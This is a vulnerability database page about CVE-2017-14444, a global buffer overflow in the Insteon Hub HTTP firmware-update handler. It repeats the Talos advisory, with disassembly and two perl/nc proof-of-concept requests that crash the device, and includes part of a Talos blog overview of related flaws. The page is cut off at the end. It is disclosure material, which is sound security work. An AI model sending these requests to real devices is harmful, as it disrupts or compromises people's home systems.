ID CVE-2017-14444 Type cve Reporter cve@mitre.org Modified 2018-09-27T18:54:00
Description
An exploitable buffer overflow vulnerability exists in Insteon Hub running firmware version 1012. The HTTP server implementation incorrectly handles the URL parameter during a firmware update request, leading to a buffer overflow on a global section. An attacker can send an HTTP GET request to trigger this vulnerability.
{"seebug": [{"lastseen": "2018-06-26T22:13:44", "description": "### Summary\r\nAn exploitable buffer overflow vulnerability exists in Insteon Hub running firmware version 1012. The HTTP server implementation incorrectly handles the URL parameter during a firmware update request, leading to a buffer overflow on a global section. An attacker can send an HTTP GET request to trigger this vulnerability.\r\n\r\n### Tested Versions\r\nInsteon Hub 2245-222 - Firmware version 1012\r\n\r\n### Product URLs\r\nhttp://www.insteon.com/insteon-hub\r\n\r\n### CVSSv3 Score\r\n8.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H\r\n\r\n### CWE\r\nCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\r\n\r\n### Details\r\nInsteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.\r\n\r\nThe firmware uses Microchip's \"Libraries for Applications\" as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.\r\n\r\nOne of the default tasks defined by Microchip's \"Libraries for Applications\" is called HTTPServer. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own. One of these is the HTTPExecuteGet function, which is called when a GET request is received.\r\n\r\nThe HTTPServer task fills the global structure curHTTP, which has type HTTP_CONN.\r\n```\r\n// Stores extended state data for each connection\r\ntypedef struct\r\n{\r\n DWORD byteCount; // How many bytes have been read so far\r\n DWORD nextCallback; // Byte index of the next callback\r\n DWORD callbackID; // Callback ID to execute, also used as watchdog timer\r\n DWORD callbackPos; // Callback position indicator\r\n BYTE *ptrData; // Points to first free byte in data\r\n BYTE *ptrRead; // Points to current read location\r\n FILE_HANDLE file; // File pointer for the file being served\r\n FILE_HANDLE offsets; // File pointer for any offset info being used\r\n BYTE hasArgs; // True if there were get or cookie arguments\r\n BYTE isAuthorized; // 0x00-0x79 on fail, 0x80-0xff on pass\r\n HTTP_STATUS httpStatus; // Request method/status\r\n HTTP_FILE_TYPE fileType; // File type to return with Content-Type\r\n BYTE data[HTTP_MAX_DATA_LEN]; // General purpose data buffer\r\n #if defined(HTTP_USE_POST)\r\n BYTE smPost; // POST state machine variable\r\n #endif\r\n} HTTP_CONN;\r\n\r\nextern HTTP_CONN curHTTP;\r\n```\r\n\r\nThe developer implementing the HTTPExecuteGet function can thus access curHTTP to implement its logic. Note that HTTPExecuteGet is only reached if a valid basic-auth string is provided.\r\n```\r\nseg000:9D02C758 insteon_HTTPExecuteGet:\r\nseg000:9D02C758\r\nseg000:9D02C758 filename= -0x98\r\nseg000:9D02C758 req_pointers= -0x84\r\nseg000:9D02C758 getparam_1= -0x80\r\nseg000:9D02C758 getparam_2= -0x7C\r\nseg000:9D02C758 getparam_3= -0x78\r\nseg000:9D02C758 getparam_4= -0x74\r\nseg000:9D02C758 var_20 = -0x20\r\nseg000:9D02C758 var_1C = -0x1C\r\nseg000:9D02C758 var_18 = -0x18\r\nseg000:9D02C758 var_14 = -0x14\r\nseg000:9D02C758 var_10 = -0x10\r\nseg000:9D02C758 var_C = -0xC\r\nseg000:9D02C758 var_8 = -8\r\nseg000:9D02C758 var_4 = -4\r\nseg000:9D02C758\r\nseg000:9D02C758 000 58 FF BD 27 addiu $sp, -0xA8\r\nseg000:9D02C75C 0A8 A4 00 BF AF sw $ra, 0xA8+var_4($sp)\r\nseg000:9D02C760 0A8 A0 00 B6 AF sw $s6, 0xA8+var_8($sp)\r\nseg000:9D02C764 0A8 9C 00 B5 AF sw $s5, 0xA8+var_C($sp)\r\nseg000:9D02C768 0A8 98 00 B4 AF sw $s4, 0xA8+var_10($sp)\r\nseg000:9D02C76C 0A8 94 00 B3 AF sw $s3, 0xA8+var_14($sp)\r\nseg000:9D02C770 0A8 90 00 B2 AF sw $s2, 0xA8+var_18($sp)\r\nseg000:9D02C774 0A8 8C 00 B1 AF sw $s1, 0xA8+var_1C($sp)\r\nseg000:9D02C778 0A8 88 00 B0 AF sw $s0, 0xA8+var_20($sp)\r\nseg000:9D02C77C 0A8 83 0F 41 0F jal sub_9d043e0c # [1]\r\nseg000:9D02C780 0A8 24 00 A4 27 addiu $a0, $sp, 0xA8+req_pointers # [2]\r\nseg000:9D02C784 0A8 21 90 40 00 move $s2, $v0 # [3]\r\nseg000:9D02C788 0A8 10 00 A5 27 addiu $a1, $sp, 0xA8+filename\r\nseg000:9D02C78C 0A8 24 00 A5 AF sw $a1, 0xA8+req_pointers($sp)\r\nseg000:9D02C790 0A8 00 A0 10 3C+ li $s0, curHTTP\r\nseg000:9D02C798 0A8 18 00 04 92 lbu $a0, (curHTTP_file - 0xA0000CD8)($s0)\r\nseg000:9D02C79C 0A8 DE 7F 41 0F jal MPFSGetFilename\r\nseg000:9D02C7A0 0A8 14 00 06 24 li $a2, 0x14\r\nseg000:9D02C7A4 0A8 18 00 03 92 lbu $v1, (curHTTP_file - 0xA0000CD8)($s0)\r\nseg000:9D02C7A8 0A8 FF 00 02 24 li $v0, 0xFF # [4]\r\nseg000:9D02C7AC 0A8 37 03 62 10 beq $v1, $v0, loc_9D02D48C\r\nseg000:9D02C7B0 0A8 FC 83 82 8F lw $v0, -0x7C04($gp)\r\n```\r\n\r\nThe function calls sub_9d043e0c at [1] passing a local array of pointers ([2]): this function reads the GET parameters from curHTTP.data and inserts a pointer to each parameter into the array of pointers. It also returns the number of extracted parameters in $v0 ([3]). The requested path is then saved to filename by calling MPFSGetFilename and if the requested file doesn't exist in the MPFS (Microchip Proprietary File System), curHTTP.file will contain 0xff (MPFS_INVALID_HANDLE [4]).\r\n```\r\nseg000:9D02D48C loc_9D02D48C:\r\nseg000:9D02D48C 0A8 3C 84 80 A3 sb $zero, -0x7BC4($gp)\r\nseg000:9D02D490\r\nseg000:9D02D490 loc_9D02D490:\r\nseg000:9D02D490 0A8 03 00 52 2E sltiu $s2, 3 # [5]\r\nseg000:9D02D494 0A8 E1 01 40 16 bnez $s2, loc_9D02DC1C\r\nseg000:9D02D498 0A8 21 18 00 00 move $v1, $zero\r\nseg000:9D02D49C 0A8 30 00 A2 8F lw $v0, 0xA8+getparam_3($sp) # [6]\r\nseg000:9D02D4A0 0A8 00 00 43 90 lbu $v1, 0($v0) # [6]\r\nseg000:9D02D4A4 0A8 24 00 A2 8F lw $v0, 0xA8+req_pointers($sp)\r\nseg000:9D02D4A8 0A8 00 00 43 A0 sb $v1, 0($v0)\r\nseg000:9D02D4AC 0A8 24 00 A2 8F lw $v0, 0xA8+req_pointers($sp)\r\nseg000:9D02D4B0 0A8 00 00 42 90 lbu $v0, 0($v0)\r\nseg000:9D02D4B4 0A8 D0 FF 42 24 addiu $v0, -0x30 # [6]\r\nseg000:9D02D4B8 0A8 FF 00 42 30 andi $v0, 0xFF\r\nseg000:9D02D4BC 0A8 0A 00 43 2C sltiu $v1, $v0, 0xA\r\nseg000:9D02D4C0 0A8 0B 00 60 50 beqzl $v1, loc_9D02D4F0\r\nseg000:9D02D4C4 0A8 01 00 02 24 li $v0, 1\r\nseg000:9D02D4C8 0A8 01 00 03 24 li $v1, 1\r\nseg000:9D02D4CC 0A8 13 01 43 10 beq $v0, $v1, loc_9D02D91C # [6]\r\nseg000:9D02D4D0 0A8 28 00 B0 8F lw $s0, 0xA8+getparam_1($sp) # [7]\r\n...\r\nseg000:9D02D91C loc_9D02D91C:\r\nseg000:9D02D91C 0A8 00 00 02 92 lbu $v0, 0($s0) # [7]\r\nseg000:9D02D920 0A8 73 00 03 24 li $v1, \"s\"\r\nseg000:9D02D924 0A8 30 00 43 10 beq $v0, $v1, loc_9D02D9E8\r\nseg000:9D02D928 0A8 75 00 03 24 li $v1, \"u\" # [7]\r\nseg000:9D02D92C 0A8 05 00 43 10 beq $v0, $v1, loc_9D02D944\r\nseg000:9D02D930 0A8 58 00 03 24 li $v1, \"X\"\r\nseg000:9D02D934 0A8 B9 00 43 14 bne $v0, $v1, loc_9D02DC1C\r\nseg000:9D02D938 0A8 21 18 00 00 move $v1, $zero\r\nseg000:9D02D93C 0A8 84 B6 40 0B j loc_9D02DA10\r\nseg000:9D02D940 0A8 01 00 02 92 lbu $v0, 1($s0)\r\nseg000:9D02D944\r\nseg000:9D02D944 loc_9D02D944:\r\nseg000:9D02D944 0A8 00 A0 04 3C+ la $a0, update_check_global_host # [8]\r\nseg000:9D02D94C 0A8 1F DF 41 0F jal strcpy\r\nseg000:9D02D950 0A8 2C 00 A5 8F lw $a1, 0xA8+getparam_2($sp)\r\nseg000:9D02D954 0A8 00 A0 04 3C+ la $a0, update_check_global_uri # [9]\r\nseg000:9D02D95C 0A8 1F DF 41 0F jal strcpy # [10]\r\nseg000:9D02D960 0A8 34 00 A5 8F lw $a1, 0xA8+getparam_4($sp)\r\nseg000:9D02D964 0A8 21 20 00 02 move $a0, $s0\r\nseg000:9D02D968 0A8 07 9D 05 3C lui $a1, 0x9D07\r\nseg000:9D02D96C 0A8 87 E7 41 0F jal strcmp\r\nseg000:9D02D970 0A8 E4 28 A5 24 la $a1, aUp_firm # \"up_firm\"\r\nseg000:9D02D974 0A8 07 00 40 14 bnez $v0, loc_9D02D994\r\n...\r\n```\r\n\r\nThe function continues by checking a few constraints on the parameters. An interesting path exists with these conditions:\r\n\r\n* there are at least 3 parameters [5]\r\n* parameter 3 is \"1\" [6]\r\n* parameter 1 starts with \"u\" [7]\r\n\r\nAfter these checks, the function copies parameter 2 to the global variable at 0xa00016e0 (variable containing the update host [8]) and parameter 4 to the global variable at 0xa00016a0 (variable containing the update URL [9]). If parameter 1 is either equal to \"upfirm\", \"upbin\" or \"up_PLM\", the device will later perform an HTTP GET request using the global URL and host, in order to request a firmware update.\r\n\r\nAs we can see, the strcpy at [10] is performed using parameter 4 as source, which can be fully controlled by an attacker. Nevertheless, Microchip's \"Libraries for Applications\" implements a basic buffer overflow check on HTTP requests, which limits the size of the HTTP data received to a maximum of 100 bytes.\r\n```\r\n // Define the maximum data length for reading cookie and GET/POST arguments (bytes)\r\n #define HTTP_MAX_DATA_LEN (100u)\r\n```\r\nDespite this limit, it's possible to combine this bug with TALOS-2017-0492 in order to point parameter 4 to any unconstrained attacker-controlled buffer and effectively achieve code execution on the device.\r\n\r\n### Exploit Proof-of-Concept\r\nThe following proof of concept shows how to overflow the buffer and combines with TALOS-2017-0492 to overwrite a big portion of the global section and crash the device.\r\n\r\nA first request can be done to spray a payload on the global section: the \"HTTPServer\" task is saving received data at around 0xa0002ca0, so it's enough to send any HTTP request without authentication.\r\n```\r\n$ perl <<EOD | nc $INSTEON_IP 25105\r\nprint \"GET / HTTP/1.0\\r\\n\";\r\nprint \"B\"x0xb00,\"\\r\\n\";\r\nprint \"\\r\\n\\r\\n\";\r\nEOD\r\n```\r\n\r\nAfter that we point parameter 4 to 0xa0002ca0 (by exploiting TALOS-2017-0492), so that strcpy will write past the update-URL buffer and will crash the device.\r\n```\r\n$ perl <<EOD | nc $INSTEON_IP 25105\r\nprint \"GET /x?u&x&1& HTTP/1.0\\r\\n\";\r\nprint \"Authorization: Basic VXNlcm5hbWU6UGFzc3dvcmQ=\\r\\n\";\r\nprint \"A\"x68,\"\\xa0\\x2c\\x00\\xa0\";\r\nprint \"\\r\\n\\r\\n\";\r\nEOD\r\n```\r\n\r\n### Timeline\r\n* 2017-12-05 - Vendor Disclosure\r\n* 2018-01-18 - Vendor advised issues under evaluation\r\n* 2018-02-12 - 60 day follow up with vendor \r\n* 2018-03-09 - Vendor advised working on course of action\r\n* 2018-04-06 - Follow up with vendor on fix/timeline>br> 2018-04-12 - Vendor advised issues addressed & plan for beta testing\r\n* 2018-06-19 - Public disclosure", "published": "2018-06-21T00:00:00", "type": "seebug", "title": "Insteon Hub HTTPExecuteGet Firmware Update URL Parameter Code Execution Vulnerability(CVE-2017-14444)", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-14444"], "modified": "2018-06-21T00:00:00", "id": "SSV:97356", "href": "https://www.seebug.org/vuldb/ssvid-97356", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": ""}], "talos": [{"lastseen": "2020-07-01T21:25:29", "bulletinFamily": "info", "cvelist": ["CVE-2017-14444"], "description": "# Talos Vulnerability Report\n\n### TALOS-2017-0493\n\n## Insteon Hub HTTPExecuteGet Firmware Update URL Parameter Code Execution Vulnerability\n\n##### June 19, 2018\n\n##### CVE Number\n\nCVE-2017-14444\n\n### Summary\n\nAn exploitable buffer overflow vulnerability exists in Insteon Hub running firmware version 1012. The HTTP server implementation incorrectly handles the URL parameter during a firmware update request, leading to a buffer overflow on a global section. An attacker can send an HTTP GET request to trigger this vulnerability.\n\n### Tested Versions\n\nInsteon Hub 2245-222 - Firmware version 1012\n\n### Product URLs\n\n<http://www.insteon.com/insteon-hub>\n\n### CVSSv3 Score\n\n8.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H\n\n### CWE\n\nCWE-120: Buffer Copy without Checking Size of Input (\u2018Classic Buffer Overflow\u2019)\n\n### Details\n\nInsteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.\n\nThe firmware uses Microchip\u2019s \u201cLibraries for Applications\u201d as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.\n\nOne of the default tasks defined by Microchip\u2019s \u201cLibraries for Applications\u201d is called `HTTPServer`. Developers can use this task to handle HTTP requests but they have to implement a few functions on their own. One of these is the `HTTPExecuteGet` function, which is called when a GET request is received.\n\nThe `HTTPServer` task fills the global structure `curHTTP`, which has type `HTTP_CONN`.\n \n \n // Stores extended state data for each connection\n typedef struct\n {\n DWORD byteCount; // How many bytes have been read so far\n DWORD nextCallback; // Byte index of the next callback\n DWORD callbackID; // Callback ID to execute, also used as watchdog timer\n DWORD callbackPos; // Callback position indicator\n BYTE *ptrData; // Points to first free byte in data\n BYTE *ptrRead; // Points to current read location\n FILE_HANDLE file; // File pointer for the file being served\n FILE_HANDLE offsets; // File pointer for any offset info being used\n BYTE hasArgs; // True if there were get or cookie arguments\n BYTE isAuthorized; // 0x00-0x79 on fail, 0x80-0xff on pass\n HTTP_STATUS httpStatus; // Request method/status\n HTTP_FILE_TYPE fileType; // File type to return with Content-Type\n BYTE data[HTTP_MAX_DATA_LEN]; // General purpose data buffer\n #if defined(HTTP_USE_POST)\n BYTE smPost; // POST state machine variable\n #endif\n } HTTP_CONN;\n \n extern HTTP_CONN curHTTP;\n \n\nThe developer implementing the `HTTPExecuteGet` function can thus access `curHTTP` to implement its logic. Note that `HTTPExecuteGet` is only reached if a valid basic-auth string is provided.\n \n \n seg000:9D02C758 insteon_HTTPExecuteGet:\n seg000:9D02C758\n seg000:9D02C758 filename= -0x98\n seg000:9D02C758 req_pointers= -0x84\n seg000:9D02C758 getparam_1= -0x80\n seg000:9D02C758 getparam_2= -0x7C\n seg000:9D02C758 getparam_3= -0x78\n seg000:9D02C758 getparam_4= -0x74\n seg000:9D02C758 var_20 = -0x20\n seg000:9D02C758 var_1C = -0x1C\n seg000:9D02C758 var_18 = -0x18\n seg000:9D02C758 var_14 = -0x14\n seg000:9D02C758 var_10 = -0x10\n seg000:9D02C758 var_C = -0xC\n seg000:9D02C758 var_8 = -8\n seg000:9D02C758 var_4 = -4\n seg000:9D02C758\n seg000:9D02C758 000 58 FF BD 27 addiu $sp, -0xA8\n seg000:9D02C75C 0A8 A4 00 BF AF sw $ra, 0xA8+var_4($sp)\n seg000:9D02C760 0A8 A0 00 B6 AF sw $s6, 0xA8+var_8($sp)\n seg000:9D02C764 0A8 9C 00 B5 AF sw $s5, 0xA8+var_C($sp)\n seg000:9D02C768 0A8 98 00 B4 AF sw $s4, 0xA8+var_10($sp)\n seg000:9D02C76C 0A8 94 00 B3 AF sw $s3, 0xA8+var_14($sp)\n seg000:9D02C770 0A8 90 00 B2 AF sw $s2, 0xA8+var_18($sp)\n seg000:9D02C774 0A8 8C 00 B1 AF sw $s1, 0xA8+var_1C($sp)\n seg000:9D02C778 0A8 88 00 B0 AF sw $s0, 0xA8+var_20($sp)\n seg000:9D02C77C 0A8 83 0F 41 0F jal sub_9d043e0c # [1]\n seg000:9D02C780 0A8 24 00 A4 27 addiu $a0, $sp, 0xA8+req_pointers # [2]\n seg000:9D02C784 0A8 21 90 40 00 move $s2, $v0 # [3]\n seg000:9D02C788 0A8 10 00 A5 27 addiu $a1, $sp, 0xA8+filename\n seg000:9D02C78C 0A8 24 00 A5 AF sw $a1, 0xA8+req_pointers($sp)\n seg000:9D02C790 0A8 00 A0 10 3C+ li $s0, curHTTP\n seg000:9D02C798 0A8 18 00 04 92 lbu $a0, (curHTTP_file - 0xA0000CD8)($s0)\n seg000:9D02C79C 0A8 DE 7F 41 0F jal MPFSGetFilename\n seg000:9D02C7A0 0A8 14 00 06 24 li $a2, 0x14\n seg000:9D02C7A4 0A8 18 00 03 92 lbu $v1, (curHTTP_file - 0xA0000CD8)($s0)\n seg000:9D02C7A8 0A8 FF 00 02 24 li $v0, 0xFF # [4]\n seg000:9D02C7AC 0A8 37 03 62 10 beq $v1, $v0, loc_9D02D48C\n seg000:9D02C7B0 0A8 FC 83 82 8F lw $v0, -0x7C04($gp)\n \n\nThe function calls `sub_9d043e0c` at [1] passing a local array of pointers ([2]): this function reads the GET parameters from `curHTTP.data` and inserts a pointer to each parameter into the array of pointers. It also returns the number of extracted parameters in `$v0` ([3]). The requested path is then saved to `filename` by calling `MPFSGetFilename` and if the requested file doesn\u2019t exist in the MPFS (Microchip Proprietary File System), `curHTTP.file` will contain 0xff (`MPFS_INVALID_HANDLE` [4]).\n \n \n seg000:9D02D48C loc_9D02D48C:\n seg000:9D02D48C 0A8 3C 84 80 A3 sb $zero, -0x7BC4($gp)\n seg000:9D02D490\n seg000:9D02D490 loc_9D02D490:\n seg000:9D02D490 0A8 03 00 52 2E sltiu $s2, 3 # [5]\n seg000:9D02D494 0A8 E1 01 40 16 bnez $s2, loc_9D02DC1C\n seg000:9D02D498 0A8 21 18 00 00 move $v1, $zero\n seg000:9D02D49C 0A8 30 00 A2 8F lw $v0, 0xA8+getparam_3($sp) # [6]\n seg000:9D02D4A0 0A8 00 00 43 90 lbu $v1, 0($v0) # [6]\n seg000:9D02D4A4 0A8 24 00 A2 8F lw $v0, 0xA8+req_pointers($sp)\n seg000:9D02D4A8 0A8 00 00 43 A0 sb $v1, 0($v0)\n seg000:9D02D4AC 0A8 24 00 A2 8F lw $v0, 0xA8+req_pointers($sp)\n seg000:9D02D4B0 0A8 00 00 42 90 lbu $v0, 0($v0)\n seg000:9D02D4B4 0A8 D0 FF 42 24 addiu $v0, -0x30 # [6]\n seg000:9D02D4B8 0A8 FF 00 42 30 andi $v0, 0xFF\n seg000:9D02D4BC 0A8 0A 00 43 2C sltiu $v1, $v0, 0xA\n seg000:9D02D4C0 0A8 0B 00 60 50 beqzl $v1, loc_9D02D4F0\n seg000:9D02D4C4 0A8 01 00 02 24 li $v0, 1\n seg000:9D02D4C8 0A8 01 00 03 24 li $v1, 1\n seg000:9D02D4CC 0A8 13 01 43 10 beq $v0, $v1, loc_9D02D91C # [6]\n seg000:9D02D4D0 0A8 28 00 B0 8F lw $s0, 0xA8+getparam_1($sp) # [7]\n ...\n seg000:9D02D91C loc_9D02D91C:\n seg000:9D02D91C 0A8 00 00 02 92 lbu $v0, 0($s0) # [7]\n seg000:9D02D920 0A8 73 00 03 24 li $v1, \"s\"\n seg000:9D02D924 0A8 30 00 43 10 beq $v0, $v1, loc_9D02D9E8\n seg000:9D02D928 0A8 75 00 03 24 li $v1, \"u\" # [7]\n seg000:9D02D92C 0A8 05 00 43 10 beq $v0, $v1, loc_9D02D944\n seg000:9D02D930 0A8 58 00 03 24 li $v1, \"X\"\n seg000:9D02D934 0A8 B9 00 43 14 bne $v0, $v1, loc_9D02DC1C\n seg000:9D02D938 0A8 21 18 00 00 move $v1, $zero\n seg000:9D02D93C 0A8 84 B6 40 0B j loc_9D02DA10\n seg000:9D02D940 0A8 01 00 02 92 lbu $v0, 1($s0)\n seg000:9D02D944\n seg000:9D02D944 loc_9D02D944:\n seg000:9D02D944 0A8 00 A0 04 3C+ la $a0, update_check_global_host # [8]\n seg000:9D02D94C 0A8 1F DF 41 0F jal strcpy\n seg000:9D02D950 0A8 2C 00 A5 8F lw $a1, 0xA8+getparam_2($sp)\n seg000:9D02D954 0A8 00 A0 04 3C+ la $a0, update_check_global_uri # [9]\n seg000:9D02D95C 0A8 1F DF 41 0F jal strcpy # [10]\n seg000:9D02D960 0A8 34 00 A5 8F lw $a1, 0xA8+getparam_4($sp)\n seg000:9D02D964 0A8 21 20 00 02 move $a0, $s0\n seg000:9D02D968 0A8 07 9D 05 3C lui $a1, 0x9D07\n seg000:9D02D96C 0A8 87 E7 41 0F jal strcmp\n seg000:9D02D970 0A8 E4 28 A5 24 la $a1, aUp_firm # \"up_firm\"\n seg000:9D02D974 0A8 07 00 40 14 bnez $v0, loc_9D02D994\n ...\n \n\nThe function continues by checking a few constraints on the parameters. An interesting path exists with these conditions:\n\n * there are at least 3 parameters [5]\n * parameter 3 is \u201c1\u201d [6]\n * parameter 1 starts with \u201cu\u201d [7]\n\nAfter these checks, the function copies parameter 2 to the global variable at `0xa00016e0` (variable containing the update host [8]) and parameter 4 to the global variable at `0xa00016a0` (variable containing the update URL [9]). If parameter 1 is either equal to \u201cup_firm\u201d, \u201cup_bin\u201d or \u201cup_PLM\u201d, the device will later perform an HTTP GET request using the global URL and host, in order to request a firmware update.\n\nAs we can see, the `strcpy` at [10] is performed using parameter 4 as source, which can be fully controlled by an attacker. Nevertheless, Microchip\u2019s \u201cLibraries for Applications\u201d implements a basic buffer overflow check on HTTP requests, which limits the size of the HTTP data received to a maximum of 100 bytes.\n \n \n // Define the maximum data length for reading cookie and GET/POST arguments (bytes)\n #define HTTP_MAX_DATA_LEN (100u)\n \n\nDespite this limit, it\u2019s possible to combine this bug with TALOS-2017-0492 in order to point parameter 4 to any unconstrained attacker-controlled buffer and effectively achieve code execution on the device.\n\n### Exploit Proof-of-Concept\n\nThe following proof of concept shows how to overflow the buffer and combines with TALOS-2017-0492 to overwrite a big portion of the global section and crash the device.\n\nA first request can be done to spray a payload on the global section: the \u201cHTTPServer\u201d task is saving received data at around 0xa0002ca0, so it\u2019s enough to send any HTTP request without authentication.\n \n \n $ perl <<EOD | nc $INSTEON_IP 25105\n print \"GET / HTTP/1.0\\r\\n\";\n print \"B\"x0xb00,\"\\r\\n\";\n print \"\\r\\n\\r\\n\";\n EOD\n \n\nAfter that we point parameter 4 to 0xa0002ca0 (by exploiting TALOS-2017-0492), so that `strcpy` will write past the update-URL buffer and will crash the device.\n \n \n $ perl <<EOD | nc $INSTEON_IP 25105\n print \"GET /x?u&x&1& HTTP/1.0\\r\\n\";\n print \"Authorization: Basic VXNlcm5hbWU6UGFzc3dvcmQ=\\r\\n\";\n print \"A\"x68,\"\\xa0\\x2c\\x00\\xa0\";\n print \"\\r\\n\\r\\n\";\n EOD\n \n\n### Timeline\n\n2017-12-05 - Vendor Disclosure \n2018-01-18 - Vendor advised issues under evaluation \n2018-02-12 - 60 day follow up with vendor \n2018-03-09 - Vendor advised working on course of action \n2018-04-06 - Follow up with vendor on fix/timeline>br> 2018-04-12 - Vendor advised issues addressed & plan for beta testing \n2018-06-19 - Public disclosure\n\n##### Credit\n\nDiscovered by Claudio Bozzato of Cisco Talos.\n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2017-0494\n\nPrevious Report\n\nTALOS-2017-0492\n", "edition": 4, "modified": "2018-06-19T00:00:00", "published": "2018-06-19T00:00:00", "id": "TALOS-2017-0493", "href": "http://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0493", "title": "Insteon Hub HTTPExecuteGet Firmware Update URL Parameter Code Execution Vulnerability", "type": "talos", "cvss": {"score": 8.0, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:C"}}], "talosblog": [{"lastseen": "2018-07-10T22:29:40", "bulletinFamily": "blog", "cvelist": ["CVE-2017-14443", "CVE-2017-14444", "CVE-2017-14445", "CVE-2017-14446", "CVE-2017-14447", "CVE-2017-14452", "CVE-2017-14453", "CVE-2017-14454", "CVE-2017-14455", "CVE-2017-16252", "CVE-2017-16337", "CVE-2017-16338", "CVE-2017-16339", "CVE-2017-16340", "CVE-2017-16341", "CVE-2017-16342", "CVE-2017-16343", "CVE-2017-16344", "CVE-2017-16345", "CVE-2017-16346", "CVE-2017-16347", "CVE-2017-16348", "CVE-2018-3832", "CVE-2018-3833", "CVE-2018-3834"], "description": "Vulnerabilities discovered by Claudio Bozzato of Cisco Talos \n \n\n\nTalos is disclosing twelve new vulnerabilities in Insteon Hub, ranging from remote code execution, to denial of service. The majority of the vulnerabilities have their root cause in the unsafe usage of the strcpy() function, leading either to stack overflow or global overflow. \n\n \n\n\n### Overview\n\n \n\n\nInsteon Hub is a central controller, which allows an end user to use a smartphone to connect to and manage devices in their home remotely. To enable remote interaction via the internet, [Insteon Hub](<https://www.insteon.com/>) uses an online service called PubNub.\n\nEnd users install the \"Insteon for Hub\" application on their smartphone. Both the smartphone application and Insteon Hub include the PubNub software development kit, which allows for bidirectional communication using PubNub's REST API.\n\nUnless stated otherwise, the vulnerabilities were found in Insteon Hub 2245-222 running firmware version 1012. As of firmware version 1016, these vulnerabilities are fixed, versions previous to this may be vulnerable.\n\n \n\n\n##### \n\n#### TALOS-2017-0483 - Message Handler Multiple Stack Overflow Remote Code Execution Vulnerabilities\n\nAn exploitable buffer overflow vulnerability exists in the way the device handles commands sent through the PubNub service. Specially crafted commands can cause a stack-based buffer overflow, which overwrites arbitrary data due to the use of the strcpy() function while handling the JSON request. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \nNote. CVE rules require that we assign a separate CVE to each instance of a vulnerability that can be fixed independently. \n \nCVE: CVE-2017-16252 through CVE-2017-16337 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0483>). \n \n\n\n#### TALOS-2017-0484 - Message Handler Multiple Global Overflow Remote Code Execution Vulnerabilities\n\nAn exploitable buffer overflow vulnerability exists in the way the device handles commands sent through the PubNub service. Specially crafted commands can cause a buffer overflow on a global section overwriting arbitrary data, due to the use of the strcpy() function while handling the JSON request. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \nCVE: CVE-2017-16338, CVE-2017-16339, CVE-2017-16340, CVE-2017-16341, CVE-2017-16342, CVE-2017-16343, CVE-2017-16344, CVE-2017-16345, CVE-2017-16346, CVE-2017-16347 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0484>). \n \n\n\n#### TALOS-2017-0485 - Reboot Task Denial Of Service Vulnerability\n\nAn exploitable DoS vulnerability exists in the device firmware, which allows an attacker to arbitrarily reboot the device without authentication. An attacker can send an UDP packet to trigger this vulnerability.\n\n \nCVE: CVE-2017-16348 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0485>). \n \n\n\n#### TALOS-2017-0492 - HTTPExecuteGet Firmware Update Information Leak Vulnerability\n\nThe HTTP server implementation incorrectly checks the number of GET parameters supplied, leading to an arbitrarily controlled information leak on the device's memory. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \nCVE: CVE-2017-14443 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0492>). \n \n\n\n#### TALOS-2017-0493 - HTTPExecuteGet Firmware Update URL Parameter Code Execution Vulnerability\n\nThe HTTP server implementation incorrectly handles the URL parameter during a firmware update request, leading to a buffer overflow on a global section. The library used by the vendor does provide some level of protection against buffer overflows, however. By using vulnerability TALOS-2017-0492, it is possible to bypass this protection and achieve code execution. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \nCVE: CVE-2017-14444 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0493>). \n \n\n\n#### TALOS-2017-0494 - HTTPExecuteGet Firmware Update host Parameter Buffer Overflow Vulnerability\n\nThe HTTP server implementation incorrectly handles the host parameter during a firmware update request, leading to a buffer overflow on a global section. The library used by the vendor does provide some level of protection against buffer overflows, which in this case, cannot be circumvented. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \n\n\nCVE: CVE-2017-14445\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0494>).\n\n \n\n\n#### TALOS-2017-0495 - HTTPExecuteGet Parameters Extraction Code Execution Vulnerability\n\nThe HTTP server implementation unsafely extracts parameters from the query string, leading to a buffer overflow on the stack. The 